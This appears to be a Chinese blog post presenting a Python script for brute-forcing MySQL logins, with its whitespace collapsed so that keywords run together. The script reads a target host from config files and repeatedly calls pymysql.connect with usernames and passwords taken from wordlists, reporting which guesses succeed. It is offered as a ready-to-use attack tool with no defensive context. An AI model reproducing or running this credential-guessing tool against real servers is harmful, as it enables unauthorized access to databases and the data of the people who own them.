python mysql数据库爆破_python 构造mysql爆破器

importpymysqlimportoptparseimportosimportconfigparserdefmain():

parser=optparse.OptionParser()

parser.add_option('-u',dest='username',help='MySQL username of blasting')

parser.add_option('-p',dest='password',help='MySQL password of blasting')

parser.add_option('-a',action='store_true',dest='all',help='MySQL all of blasting')

parser.add_option('-U',dest='zhidinusername',help='Configuration parameters for all: specify user dictionary')

parser.add_option('-P',dest='zhidinpassword',help='Configuration parameters for all: specify password dictionary')

(options,args)=parser.parse_args()ifoptions.username:

file=options.username

usernamepo(file)elifoptions.password:

file2=options.password

passwordpo(file2)elif options.all and options.zhidinusername andoptions.zhidinpassword:

un=options.zhidinusername

pd=options.zhidinpassword

allpo(un,pd)else:

parser.print_help()

exit()defusernamepo(file):

cx=open('{}'.format(file),'r')if os.path.exists('config.ini'):print('[+]Config.ini ok')else:print('[-]Config.ini Not Found')

exit()print('[*]Read the configuration file information')

cf=configparser.ConfigParser()

cf.read('config.ini')

host=cf.get('config','host')

port=cf.get('config','port')

password=cf.get('config','password')print('[/]-------Config.ini-------')print('[+]Host:{}'.format(host))print('[+]Port:{}'.format(port))print('[+]password{}'.format(password))print('[/]------User.txt----------')ifos.path.exists(file):print('[+]User.txt ok')else:print('[-]User.txt Not Found')print('[/]------Mysql blasting------')for k incx.readlines():try:

db=pymysql.connect(host,k.strip(),password)print('[+]Mysql Username in {}'.format(k.strip()))exceptException as g:print('[-]Not Username:{},and Error{}'.format(k.strip(),g))defpasswordpo(file2):

cx= open('{}'.format(file2), 'r')if os.path.exists('config.ini'):print('[+]Config.ini ok')else:print('[-]Config.ini Not Found')

exit()print('[*]Read the configuration file information')

cf=configparser.ConfigParser()

cf.read('config2.ini')

host= cf.get('config', 'host')

port= cf.get('config', 'port')

username= cf.get('config', 'username')print('[/]-------Config.ini-------')print('[+]Host:{}'.format(host))print('[+]Port:{}'.format(port))print('[+]username{}'.format(username))print('[/]------passwd.txt----------')ifos.path.exists(file2):print('[+]Passwd.txt ok')else:print('[-]Passwd.txt Not Found')print('[/]------Mysql blasting------')for k incx.readlines():try:

db=pymysql.connect(host, username, k.strip())print('[+]Mysql Password in {}'.format(k.strip()))exceptException as g:print('[-]Not Password:{},and Error{}'.format(k.strip(), g))defallpo(un,pd):

user=open('{}'.format(un),'r')

passs=open('{}'.format(pd),'r')

usern=[]

passn=[]ifos.path.exists(un):print('[+]Username.txt is ok')else:print('[-]Not Found username.txt')ifos.path.exists(pd):print('[+]Password.txt is ok')else:print('[-]Not Found password.txt')if os.path.exists('config3.ini'):print('[+]Config3.ini ok')else:print('[-]Config3.ini Not Found')

exit()

cf=configparser.ConfigParser()print('[/---------cofnig3.ini-------]')

cf.read('config3.ini')

host=cf.get('config','host')print('[+]host:{}'.format(host))print('[/]------Mysql blasting------')for u inuser.readlines():

usern.append(u.strip())for y inpasss.readlines():

passn.append(y.strip())for g inrange(0,len(usern)):try:

dk=pymysql.connect(host,usern[g],passn[g])print('[+]Username:{} and password:{}'.format(usern[g],passn[g]))exceptException as p:print('[-]Not username:{} and password:{} and Error:{}'.format(usern[g],passn[g],p))if __name__ == '__main__':

main()

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值